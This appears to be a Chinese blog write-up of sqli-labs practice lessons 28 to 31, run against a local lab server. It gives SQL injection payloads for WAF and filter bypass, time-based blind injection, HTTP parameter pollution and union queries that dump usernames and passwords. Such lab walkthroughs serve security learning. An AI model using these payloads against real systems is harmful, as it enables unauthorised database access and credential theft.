zoukankan      html  css  js  c++  java
  • less 28-31

    less28

    id=1  显示正常

    id=1’  显示不正常 说明存在注入漏洞

    接下来得坑 请注意

    ?id=1‘ || ’1‘=‘1  这个时候数据回显正常

    ?id=1‘  %a0   union %a0   select %a0  1,2,3      || ’1‘=‘1  这个正常的操作但是显示确实错误的?

    我们将   ||进行替换一下

    ?id=1'%26%26'1'='2        没有回显信息

    ?id=1%26%26'1'='1  有回显信息

      返回为空 就会报错

    但其实他得闭合方式是  id=1’)

    http://192.168.50.100/sqli/Less-28/?id=1') %a0 order  %a0  by %a0  3 ;%00  判断有三列

    http://192.168.50.100/sqli/Less-28/?id=11111‘)  %a0 union   %a0  select  %a0  1,2,3 ;%00 此时可以得到回显位。

     

    http://192.168.50.100/sqli/Less-28/?id=11111‘)  %a0 union   %a0  select  %a0  1,2,

              group_concat(schema_name) %a0  from  %a0   information_schema.schemata ;%00

    也可以不使用 ;%00 闭合 使用 or语句闭合

    因为没有报错信息 所以我们不可以使用报错注入

    但是我们可以使用时间盲注

    1. http://192.168.50.100/sqli/Less-28/?id=1')  %a0   %26%26   if( length(database())>1, 1, sleep(5)    ) ;%00

    或者  http://192.168.50.100/sqli/Less-28/?id=1')   %a0   %26%26 if( length(database())>1, 1, sleep(5)    )  %26%26  ('1')=(‘1    

    闭合方式得不同
    这两种都是可以的

    less28a    和28 基本一致   只是代码过滤得问题

    使用28得语句就可以

    less29

     这个才是29关得文件

    可以从介绍上看出,第29关被称为世界上最好的WAF,网上许多讲解的办法就是和第一关差不多,其实是不对的。

    sqli-labs文件夹下面还有tomcat文件,这才是真正的less,里面的jspstudy需要搭建环境

    jspstudy:https://www.xp.cn/download.html

    选择jspstudy

    修改jspstudy网络端口号  否则会与phpstudy端口冲突

    修改完要新增并且保存

    29关得地址要匹配 要不然  打不开相应得页面

    打开相应得网址

    补充知识   服务器得俩层架构

    https://www.cnblogs.com/lcamry/p/5762961.html

     indexx.php?id=1&id=2,  第一个参数是针对服务端得参数  第二个参数是针对apache服务器得参数

     

    http参数污染:jsp/tomcat使用getgetParameter("id")获取到的是第一个值,

                   php/apache使用$_GET["id"]获取的是第二个值,

           那么第一个id纯数字,第二个id的值注入就可以了

    http://192.168.50.100:8080/sqli-labs/Less-29/index.jsp?id=1' order by 3--+

    http://192.168.50.100:8080/sqli-labs/Less-29/index.jsp?id=1&id=3' --+

     http://192.168.50.100:8080/sqli-labs/Less-29/index.jsp?id=1&id=0'  union select 1,2,3  --+   判断回显位置

    http://192.168.50.100:8080/sqli-labs/Less-29/index.jsp?id=1&id=0'  union

          select 1,2,(concat_ws(0x7e,username,password)) from security.users limit 3,1  --+

    less30

    闭合方式变成了”

    http://192.168.50.100:8080/sqli-labs/Less-30/index.jsp?id=1&id=0" union select 1,2,(concat_ws(0x7e,username,password)) from security.users limit 3,1  --+

    less31、

    闭合方式变成了”)

    http://192.168.50.100:8080/sqli-labs/Less-31/index.jsp?id=1&id=0’) union select 1,2,(concat_ws(0x7e,username,password)) from security.users limit 3,1  --+

     

     

  • 相关阅读:
    第三套三
    多线程读写共享变量时,synchronized与volatile的作用
    jQuery源代码学习笔记:构造jQuery对象
    写入位置时发生訪问冲突
    Free Editor
    大区间素数筛选 POJ2689
    HDU
    CentOS下挂载U盘
    得到当前堆栈信息的两种方式(Thread和Throwable)的纠结
    [实战]MVC5+EF6+MySql企业网盘实战(9)——编辑文件名
  • 原文地址:https://www.cnblogs.com/xingyuner/p/12247357.html
Copyright © 2011-2022 走看看